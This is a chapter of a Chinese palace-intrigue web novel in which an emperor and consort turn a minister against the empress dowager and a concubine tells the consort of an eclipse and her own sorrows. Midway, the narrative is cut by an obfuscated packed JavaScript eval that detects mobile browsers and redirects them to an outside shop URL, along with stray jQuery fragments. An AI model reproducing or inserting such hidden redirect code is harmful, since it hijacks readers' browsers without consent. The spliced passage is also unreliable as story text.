回到潜渊殿后姜尹便告退了。现下宫中没有信得过的御医,所幸最基本的消毒和包扎李彦还是会的。于是袁齐便亲眼看着陛下最重用的大太监李彦,拿着药酒替自己清洗伤口后给自己认认真真包扎。而在场的还有屏风后的贵妃娘娘。


    二位重量级人物与他同在一个空间中,让他有些不寒而栗。


    “陛下,这可使不得,折煞老臣了……”


    江莫逾则没什么表情,“朕派人救你,让人替你疗伤,自然也是对你有所图。”他直截了当,“你可知道要杀你的人是谁?”


    袁齐心中自然是有猜测的,只是他不敢相信。他不信是自己跟了近十年的太后。


    而江莫逾则毫不犹豫给了他致命一击。


    “明早,你去听听是否会有人放出你死亡的消息。再看看那人是谁,届时你就会知道一切。”


    “臣遵旨。”袁齐哪还敢反抗,“那现在臣……”


    “朕会给你一个新身份,继续担任户部尚书,并对外宣称你在养病,不用上朝,也不让外人打扰你。相应地,你要给朕最想要的东西。”


    “陛下但说无妨。臣会为陛下鞠躬尽瘁,以报陛下救命之恩。”


    江莫逾满意一笑,“你是户部尚书,之前私底下给太后拨了不少钱吧。现在朕要你在上任后把那些钱一点一点地送回朕的国库。还有那些你私底下给昔日‘同僚’的额外俸禄,全都拨给朕的军队。最后便是……”


    江莫逾的眸子牢牢锁住袁齐那张慌张的脸,“你的儿子,该好好管教了。什么该做,什么不该做,你二人又瞒了朕什么,现在一点一点,给朕吐出来。”


    *


    给袁齐包扎完伤口,袁齐便跪在龙床边,而龙床上躺着江莫逾,坐着沈明情,二人的眼睛如同审讯犯人般紧紧锁着袁齐。


    “首先,安远府是怎么一回事?”


    袁齐一五一十地道出了原委。


    安远府在京城南方,气候适宜种植作物,也是整个栖朝最大规模种植庄稼的地方。袁齐的儿子是安远府的府同知,早些年还算是上进,为了安远府的作物种植鞠躬尽瘁。


    可是后来大抵犯了位高权重之人的通病,他也开始沉迷于酒色,而不顾自己的职责。太后看在袁齐这个户部尚书尚能给她提供钱财的份儿上,动用关系把袁穆的事强行压下,甚至还给了他大箱大箱的银子,就此恶性循环。


    江莫逾无奈叹息。


    都说虎父无犬子,但袁穆此人却把一手好牌打得稀烂。


    自己的父亲有头脑能在皇帝眼皮子底下投靠太后,还为她做成了这么多事,自己的孩子却沉迷美色不思进取。不过太后倒也是好脾气,为了袁齐还能甘愿忍受,替袁穆擦屁股。


    “你且告诫着袁穆,让他自己好好思量一下,自己身处怎样一个位置。这是朕给他最后的机会,不然我可没太后的耐心。朕麾下不养无用之人。”


    “臣谢陛下隆恩。”袁齐跪拜。


    “那这又是何物?”沈明情看着袁齐呈上来的一张舆图,“这几根朱笔画的红线便是太后亲兵的撤退路线?她这是打算把安远县当老巢啊。你这孩子倒也不完全是不成大器。”沈明情嗤笑。


    袁齐战战兢兢,“娘娘恕罪。老臣与犬子也只是想为自己谋个活路,才不得已处处为太后着想。”


    “那便让小袁大人替我们办好一件事,我们便信你的衷心。”


    沈明情伸手将那张舆图甩到袁齐面前。


    “几日之后太后的士兵便会到达安远府暂作休整。此次太后心善,亲兵要助大栖平藩王的动乱。”沈明情脸不红心不跳地诌着胡话了,“我要看见小袁大人凭一己之力为太后亲兵备足粮草。你自己同他说好。”


    袁齐此刻却不解,“娘娘,您与陛下为何……”


    “太后的人为太后做事岂不是天经地义?问这么多做什么?只需告诉我二人你们能否做到。”


    袁齐不敢再有一言半语,忙磕头,“臣与袁穆定不辱使命。”


    江莫逾满意点头,“三日之后,朕会在朝堂上宣布你为‘新任’户部尚书赵陌,体弱多病,无法上朝且在家静养。你知道你该怎么做的。对么?”


    赵陌忙不迭地点头。


    “知道便好。下去吧。”


    “臣告退。”


    赵陌离开后,殿内又只剩下江莫逾与沈明情二人。江莫逾看着地上那张兵力布防图,“若是袁穆实在不中用,我决定微服私访,亲自下去整顿朝纲。你可要与我一起?”


    沈明情看他一眼,“先把伤养好再说这些。”


    江莫逾轻笑一声,没有反驳。


    “我怎会放任你一人去呢?定是要和你一起的。还记得我在现代和你说过的么?”沈明情从龙案拿起一支毛笔,坐回到江莫逾身边在舆图的角落细细勾画着,画出一只小猫牵着小狗的手。


    “我是小猫,你是小狗,小猫小狗永远不分开。”


    记忆回到二人的初见。


    那时他们还只有五岁,在上小学的第一天就是同桌。放学后回家刚好顺路,看到了一对流浪的小猫小狗相依为命。


    按理来说狗和猫不该如此亲密的,可他们却在酷暑之下为彼此舔毛。


    那天之后,每次回家的路上二人都会一起来喂它们,就此成为了彼此无可替代的好朋友,从此再也没分开过。


    沈明情说小猫和小狗会一直在一起,他们也是。


    江莫逾看着那张简陋的简笔画,方才议事时眼底的冰冷渐渐化开,没有说什么,却把沈明情拥入怀中。


    “好,我们不分开。以后我去哪都和你一起,你去哪也都要带着我,知道么?”


    “知道啦。”


    可惜。一个当下的承诺,却难以延续到未来。


    *


    沈明情离开潜渊殿后回到自己宫里,在窗前坐了一会儿后走到床铺边,拿出了那只小泥人,和那个据说吹一吹,他便会出现的哨子。


    “娘娘在想什么?”青水端茶进来,见沈明情愣神的样子便问了一句。


    沈明情刚想回答,门外却传来了通报声。


    是云美人。


    这还是沈明情第一次与这位传说中总是和江莫逾喝茶下棋的云美人私下说话。那人一身素衣,表情清冷,如高岭之花一般深不可测。


    “贵妃娘娘安好。”她福身行礼。


    沈明情看着她也是好奇得很,却从没想过她会自己来见她。


    “不必多礼。你我今日还是头一回私下说话,我也没什么好东西作见面礼……”


    沈明情本想客套,不料云美人直接开口:“不知妹妹可否去姐姐宫里坐坐,说些体己话?”


    沈明情倒是喜欢云美人的直爽,二话不说就将她引进宫。屏退下人。


    “妹妹可是有什么要事相告?还是说……云大人有何发现?亦或是,云美人想与陛下一同品茶?”


    云美人笑笑,“姐姐是个聪明人,字里字外都早已猜透妹妹的用意。的确,家父昨日夜观星象,察觉到三日后将迎来天狗食月。”


    “天狗食月?”那便是月食,放在现代只是一个极其普通的天文现象。不过在古代,却总被弄权者拿来借题发挥。


    “是。天狗食月。姐姐可知道天狗食月可以预示着什么?”云美人压低声音,“阴侵阳,君犯臣,不就是当前的朝局么?”


    沈明情笑着喝茶,过了许久才夸赞道:“你倒是敏锐。所以,云大人可有什么别的想法?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364588|198741||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “若是家父不愿有所动作,此刻妹妹便不会坐在姐姐宫中了。若是他当着一众朝臣的面说出此事,不知会有多少人心虚,多少人直接向陛下倒戈呢?”


    “如此一来,我倒想求求云大人这般行事了。你与他想从我这里得到什么?”


    云美人只是叹气摇头,“姐姐言重了。家父与我并无太大追求,只愿能在朝廷与宫中有一容身之所。况且,家父不愿做那乱臣贼子一辈。”


    沈明情听到此话颇为动容。她本以为皇帝失势,人人便都会想踩上一脚,再来分一杯羹,谁料真的有人能守住内心底线。


    “陛下与我都会知道你们的用心。”沈明情认真道。


    云美人起身,却在沈明情面前跪下了。


    “只是妹妹还有一不情之请,不敢告知与陛下,只能来寻姐姐。”


    沈明情忙将她扶起来,“你但说无妨。”


    云美人的手指不自觉搅紧了,似是下定了很大的决心。


    “妹妹入宫前,已有了所爱之人。”她顿了顿,红了眼眶,一字一顿说道,“那人名唤聂郎,与我私定终生。两年前的选秀云家无法抗拒,我被强行纳入宫中,有一日却得知,太后杀了聂郎。”


    沈明情喉咙发紧,无法说出半个字。


    “后来我在我宫中偷偷祭奠,却被旁人发现,告到了陛下面前。可陛下却并未怪罪,反而在得知聂郎是在朝中为陛下辩护才被太后记恨后,特许我设一小祠堂,祭拜聂郎。”


    沈明情沉默半晌,才拉着云美人的手宽慰道:“陛下既然没有怪罪还特许你设祠堂,定不会阻拦你出宫。”


    “真的么?真的没有显得我得寸进尺,违反祖制么?”


    “制度便是用来打破的。况且当日你入宫也是被迫。”


    “那便劳烦姐姐代为转告了。”云美人不安地咬唇,看向沈明情,“现下,想来我也不好日日叨扰陛下。”


    “嗯?为何?”


    沈明情不理解为什么以前二人尚可以一起下棋,现在怎么就不好日日叨扰了?


    云美人却极具暗示性地眨了眨眼,“我去找陛下,姐姐就不吃醋?”


    “……我与陛下只是朋友而已,为何要吃醋?”


    云美人似是没料到沈明情会这般回答,却忽而意识到自己似乎泄露了什么秘密。


    “是妹妹不好!妹妹误会了,姐姐切莫怪罪……”说罢,她行了一个礼,匆匆告退,独留沈明情一人云里雾里。


    ……


    “青水,我应该为陛下吃醋么?”


    青水彼时正在替沈明情拆发髻,听到她的这个问题被吓得手一抖,差点没扯到她的头发。


    这种问题还用想么?后宫中的嫔妃,如果不会为了陛下吃醋便是对他无情无义,那……陛下会生气的吧?更何况陛下看上去这么喜欢娘娘。


    “娘娘,这种事奴婢不太好说,只能说陛下是最最最在意您的。奴婢从小在皇宫中长大,知道陛下从来没有让任何一位主子和他一同坐龙椅,和他拥抱,和他日日都要见面。”


    真奇怪。明明娘娘和陛下没有过任何恋人般亲密的行为,除了被太后逼迫也是分内的“侍寝”,他们就连亲吻也没有。


    但她却总觉得陛下深深爱着娘娘,爱到骨子里,爱到她是他的唯一……


    青水看向镜中的沈明情。


    娘娘素来看陛下的眼神……竟该死的纯粹。


    “娘娘,说句不是分内的话,您也……看看陛下吧。”


    看看江莫逾?怎么看?用眼睛看还是用……


    心?


    她想起了江莫逾那日看她的眼神。里面藏着的……是爱么?不是朋友之间的友爱,而是恋人之间的“情爱”?